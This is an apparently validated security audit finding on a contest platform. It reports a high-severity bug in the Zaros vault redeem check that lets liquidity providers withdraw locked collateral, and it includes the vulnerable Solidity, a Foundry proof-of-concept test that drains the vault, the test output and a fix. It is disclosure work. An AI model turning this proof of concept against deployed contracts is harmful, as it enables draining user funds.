Part 2

Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Submission Details
Severity: high
Valid

Incorrect Credit Capacity Validation in `VaultRouterBranch.redeem` Enables Locked Collateral Drainage

Summary

The vault redemption process contains a critical logic error that improperly validates credit capacity changes, allowing liquidity providers to withdraw locked collateral reserves. The VaultRouterBranch.redeem function incorrectly compares withdrawal amounts against the vault's locked credit capacity instead of its unlocked available balance, using an inverted inequality check. This permits withdrawals to consume capital reserved for market protection, enabling drainage of vault locked collateral as demonstrated by a proof-of-concept test. The vulnerability directly threatens protocol solvency by violating the core safety mechanism that maintains minimum collateral reserves for perpetual markets.

Vulnerability Details

Technical Root Cause:
The vulnerability originates from an inverted logical operator and incorrect reference value in the credit capacity delta validation. The protocol improperly compares the withdrawal-induced capacity reduction against the locked credit capacity reserve rather than the available unlocked capacity, using an inequality direction that permits dangerous withdrawals (VaultRouterBranch.sol#L556-L563):

@> // if the credit capacity delta is greater than the locked credit capacity before the state transition, revert
if (
@> ctx.creditCapacityBeforeRedeemUsdX18.sub(vault.getTotalCreditCapacityUsd()).lte(
ctx.lockedCreditCapacityBeforeRedeemUsdX18.intoSD59x18()
)
) {
revert Errors.NotEnoughUnlockedCreditCapacity();
}
/// @notice Returns the vault's minimum credit capacity allocated to the connected markets.
/// @dev Prevents the vault's LPs from withdrawing more collateral than allowed, leading to potential liquidity
/// issues to connected markets.
/// @dev If the credit capacity goes to zero or below, meaning the vault is insolvent, the locked capacity will be
/// zero, so functions using this method must ensure funds can't be withdrawn in that state.
/// @param self The vault storage pointer.
@> /// @return lockedCreditCapacityUsdX18 The vault's minimum credit capacity in USD.
function getLockedCreditCapacityUsd(Data storage self)
internal
view
returns (UD60x18 lockedCreditCapacityUsdX18)
{
@> SD59x18 creditCapacityUsdX18 = getTotalCreditCapacityUsd(self);
lockedCreditCapacityUsdX18 = creditCapacityUsdX18.lte(SD59x18_ZERO)
? UD60x18_ZERO
@> : creditCapacityUsdX18.intoUD60x18().mul(ud60x18(self.lockedCreditRatio));
}

Flawed Logic Breakdown:

  1. Value Reference Error

    • Compares capacity reduction against locked reserves instead of unlocked capacity

    • Uses lockedCreditCapacity as threshold when should use (totalCapacity - lockedCapacity)

  2. Inequality Direction Inversion

    • Employs lte() (≤) comparison when gt() (>) check required

    • Creates false negative scenario allowing overspending of reserves

  3. Core Accounting Violation

    • Fails to maintain critical invariant: withdrawnAmount ≤ (totalCreditCapacity - lockedCreditCapacity)

    • Permits withdrawals to consume capital earmarked for market protection

Resulted Loss:

  1. Normal Withdrawal Reverts

    • Legitimate withdrawals within unlocked capacity get rejected when they don't exceed locked reserves

    • Example: Trying to withdraw 10% of unlocked funds gets reverted

  2. Invalid Large Withdrawals Succeed

    • Withdrawals exceeding unlocked capacity get approved by consuming locked reserves

    • Enables extraction of collateral buffer meant to prevent market liquidations

  3. Hidden Liquidation Risk

    • Approved oversize withdrawals silently reduce vault collateralization

    • Creates delayed liquidation risk when markets experience volatility

    • Remaining LPs inherit undercollateralized positions unknowingly

Impact

High Severity Protocol Risk
This vulnerability enables liquidity providers to drain critical capital reserves, directly threatening protocol solvency and creating systemic risk for connected perpetual markets. The validated PoC demonstrates catastrophic failure of collateral protection mechanisms.

Key Impacts:

  1. Protocol Insolvency Risk

    • Allows withdrawal of locked reserves meant to back perpetual market positions

    • PoC test shows complete vault drainage leaving 1 wei remaining capacity

    • Creates unbacked USDz liabilities when markets require collateral

  2. LP/Trader Loss Escalation

    • Remaining LPs inherit undercollateralized vault positions

    • Traders face unrecoverable profits due to missing collateral

    • Violates core protocol guarantee of maintained credit capacity

  3. Market Stability Compromise

    • Connected perpetual markets become undercollateralized

    • Triggers cascading liquidations during market stress events

    • Undermines trust in protocol's risk management systems

PoC Validation:

  • test function test_InvalidRedeemSucceedDueToVulnerability of the contract Redeem_Integration_Test:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {console} from "forge-std/Test.sol";
// ...
contract Redeem_Integration_Test is Base_Test {
// ...
function test_InvalidRedeemSucceedDueToVulnerability() public {
uint128 vaultId = 1;
address user = users.naruto.account;
// Set up vault with 30% credit locking
Vault.UpdateParams memory params = Vault.UpdateParams({
vaultId: vaultId,
depositCap: 1000e18,
withdrawalDelay: 1 days,
isLive: true,
lockedCreditRatio: 0.3e18 // 30% locked
});
changePrank(users.owner.account);
marketMakingEngine.updateVaultConfiguration(params);
// Deposit 100 assets
fundUserAndDepositInVault(user, vaultId, 100e18);
// Verify the total credit capacity and unlocked amount before withdrawal
uint256 totalCreditCapacityBeforeRedeem = marketMakingEngine.getVaultCreditCapacity(vaultId);
uint256 unlockedCreditCapacityBeforeRedeem = totalCreditCapacityBeforeRedeem * (1e18 - params.lockedCreditRatio) / 1e18;
console.log("totalCreditCapacityBeforeRedeem: ", totalCreditCapacityBeforeRedeem);
console.log("unlockedCreditCapacityBeforeRedeem: ", unlockedCreditCapacityBeforeRedeem);
// Initiate withdrawal of all account share balance
( , , , , address indexToken, ) = marketMakingEngine.getVaultData(vaultId);
uint256 accountSharesBeforeRedeem = IERC20(indexToken).balanceOf(user);
console.log("accountSharesBeforeRedeem: ", accountSharesBeforeRedeem);
// Verify that the withdrawal is above the unlocked ratio
uint128 sharesToWithdraw = uint128(accountSharesBeforeRedeem);
uint256 assetsToWithdraw = marketMakingEngine.getIndexTokenSwapRate(vaultId, uint256(sharesToWithdraw), false).intoUint256();
console.log("assetsToWithdraw: ", assetsToWithdraw);
assertFalse(assetsToWithdraw <= unlockedCreditCapacityBeforeRedeem, "Withdrawal is below the unlocked amount");
vm.startPrank(user);
marketMakingEngine.initiateWithdrawal(vaultId, sharesToWithdraw);
skip(1 days + 1);
// Should revert but succeed due to vulnerability
marketMakingEngine.redeem(vaultId, WITHDRAW_REQUEST_ID, 0);
// Verify the user account shares are zero after redeem
uint256 accountSharesAfterRedeem = IERC20(indexToken).balanceOf(user);
console.log("accountSharesAfterRedeem: ", accountSharesAfterRedeem);
// Verify the total credit capacity after redeem
uint256 totalCreditCapacityAfterRedeem = marketMakingEngine.getVaultCreditCapacity(vaultId);
uint256 totalCreditCapacityChange = totalCreditCapacityBeforeRedeem - totalCreditCapacityAfterRedeem;
console.log("totalCreditCapacityAfterRedeem: ", totalCreditCapacityAfterRedeem);
console.log("totalCreditCapacityChange: ", totalCreditCapacityChange);
assertFalse(totalCreditCapacityChange <= unlockedCreditCapacityBeforeRedeem, "Total credit capacity change is below the unlocked amount");
}
// ...
}
  • test command

forge test --mc Redeem_Integration_Test --mt test_InvalidRedeemSucceedDueToVulnerability -vvv
  • test result

Ran 1 test for test/integration/market-making/vault-router-branch/redeem/redeem.t.sol:Redeem_Integration_Test
[PASS] test_InvalidRedeemSucceedDueToVulnerability() (gas: 1425232)
Logs:
// ...
totalCreditCapacityBeforeRedeem: 99000000000000000001
unlockedCreditCapacityBeforeRedeem: 69300000000000000000
accountSharesBeforeRedeem: 99000000000000000000
assetsToWithdraw: 99000000000000000000
accountSharesAfterRedeem: 0
totalCreditCapacityAfterRedeem: 1
totalCreditCapacityChange: 99000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 29.20ms (2.81ms CPU time)
Ran 1 test suite in 126.86ms (29.20ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review

Recommendations

  1. Operator change from lte to gt

  2. Threshold calculation changed to (total - locked) capacity

// if the credit capacity delta is greater than the locked credit capacity before the state transition, revert
if (
- ctx.creditCapacityBeforeRedeemUsdX18.sub(vault.getTotalCreditCapacityUsd()).lte(
- ctx.lockedCreditCapacityBeforeRedeemUsdX18.intoSD59x18()
+ ctx.creditCapacityBeforeRedeemUsdX18.sub(vault.getTotalCreditCapacityUsd()).gt(
+ ctx.creditCapacityBeforeRedeemUsdX18.sub(ctx.lockedCreditCapacityBeforeRedeemUsdX18.intoSD59x18())
)
) {
revert Errors.NotEnoughUnlockedCreditCapacity();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

The check in VaultRouterBranch::redeem should be comparing remaining capacity against required locked capacity not delta against locked capacity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.